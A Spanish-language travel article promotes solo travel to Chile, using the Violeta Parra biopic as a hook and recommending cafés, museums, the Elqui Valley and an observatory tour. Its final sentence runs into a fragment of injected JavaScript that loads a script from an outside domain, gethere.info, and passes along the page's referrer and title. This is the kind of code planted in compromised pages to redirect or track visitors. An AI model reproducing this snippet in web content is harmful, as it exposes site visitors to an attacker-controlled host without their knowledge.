Sublime. Esa fue la enorme palabra que ocupó mi mente la primera vez que tuve el placer de escuchar la personal voz de la cantautora chilena Violeta Parra. Pasaría un tiempo antes de descubrir que Violeta se fue a los cielos, película de nombre delicioso y rodada parcialmente en Chile, había sido el intento de condensar en 110 minutos la apasionante y agitada vida de la fundadora de la música popular de aquel, su país. La cinta, nacida en 2011, es nuestra excusa cinéfila para volar juntos hasta el extremo sudoeste de América del Sur. Luces, cámara, ¡acción!
Viajar solo por Chile
Hay quien jamás, jamás, jamás iría solo al cine, igual que hay gente que no se plantearía nunca visitar sola otro país. Para todos ellos está pensado el reto que proponemos a continuación. Nos referimos a vivir la experiencia de unas vacaciones en la grata compañía de uno mismo porque, ¿quién no ha fantaseado alguna vez con viajar en solitario? ¡Viva la libertad de elegir cuándo y dónde ir! ¡Sin miedo!
¿Buscas un destino seguro en el que sentirte arropado en todo momento? La respuesta es Chile. El país da para una semana, para un mes o para un año. Todo depende del ritmo que te marques, pues contiene múltiples mundos en uno. Tan solo hay que estar mentalizado para andar mucho, conducir más y disfrutar el doble.
En definitiva, la propuesta es viajar a Santiago de Chile, solo o acompañado, ¡pero hacerlo! Hablar de la capital es hablar tanto de su corazón, la zona centro, como de su alma, sus múltiples barrios con encanto. Experiencias que no te puedes perder, como por ejemplo tomar asiento en alguno de los cafés del bohemio céntrico alegre barrio Lastarria y ejercer con maestría uno de los deportes favoritos de cualquier espíritu curioso: tomar posiciones junto al ventanal de coquetos locales como el Café Bistró de la Barra (JM de la Barra) y cómodamente observar el fluir de los chilenos. La calle José Victorino Lastarria concentra muchos atractivos, así que recomendamos explorarla a fondo para absorber su esencia. ¿El resultado de perderse por ahí? Tardes de cine de autor en El Biógrafo (nº 181), mañanas de arte en el interesante Museo de Artes Visuales o MAVI (nº 307) o terrazas al sol o la luna de rica comida en cualquiera de sus restaurantes. Para algo barato, las masas del pequeño Pizza Bella, en el 309 de la contigua calle Merced, son una apuesta local y segura.
Chile y sus gentes
En Chile uno se enamora de algo más que de sus increíbles paisajes. Cualquier ruta desde su capital, Santiago, deviene un viaje iniciático por un territorio humano tan o más fascinante. Amabilidad. Cordialidad. Simpatía. Sus coloridos personajes se cruzan, te sonríen y, en cuanto ven la oportunidad, te sorprenden al sacar de la chistera una historia que contar, así como por arte de magia. Chile es un destino perfecto para salirse de la zona de confort y viajar solo. Aunque, en realidad, Chile es un destino perfecto. Y punto.
Rumbo al norte del país
¿Te apetece romper con la capital durante unos días? Dirígete al norte y explora el menos conocido Valle del Elqui, con su piel de viñas encaramadas en el semidesierto. ¿Gabriela Mistral? ¿Pisco? Célebres sustantivos y nombres propios enraizados en esta sucesión de pequeños pueblos accesibles en bus local y con un refrescante toque asilvestrado, de los cuales el aletargado Vicuña es una excelente base de operaciones. En su Plaza de Armas espera tranquila otra oportunidad para ver a la gente pasar: las mesitas junto al ventanal del café para modernos Emporio Oveja Negra. Y no muy lejos, los deliciosos sándwiches con palta (aguacate) del bonito Café Cultural Frida (Gabriela Mistral 691, esquina Baquedano) curan bien cualquier estómago impaciente.
Dicen que el Valle del Elqui es un centro magnético de la Tierra, con historias de avistamientos de ovnis incluidas. Supersticiones aparte, se trata sin duda de un rincón mágico del mundo en el que vale la pena perderse. Como cantaría Rafaella Carrá, “para ver bien el firmamento hay que venir al sur”. Famoso por sus observatorios astronómicos, para una experiencia exclusiva con el firmamento te interesa apuntarte a un tour nocturno por el Observatorio del Pangue. Contrátalo en la Plaza de Armas y prepárate a tocar con la vista Saturno, lejanas galaxias y famosas constelaciones.
“Quiero bailar cueca, quiero tomar chicha, quiero ir al mercado a comprarme un Pequén. Ir a Matucana, pasear por la Quinta y al Santa Lucía contigo mi bien”. Eso decía Violeta Parra en una de sus canciones. En Chile hay mucha belleza natural y mucha belleza humana. Hay mucho arte, hay mucho cine. Paisajes interiores y exteriores que cautivan. Volemos juntos a Santiago de Chile y vivamos su buena onda.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;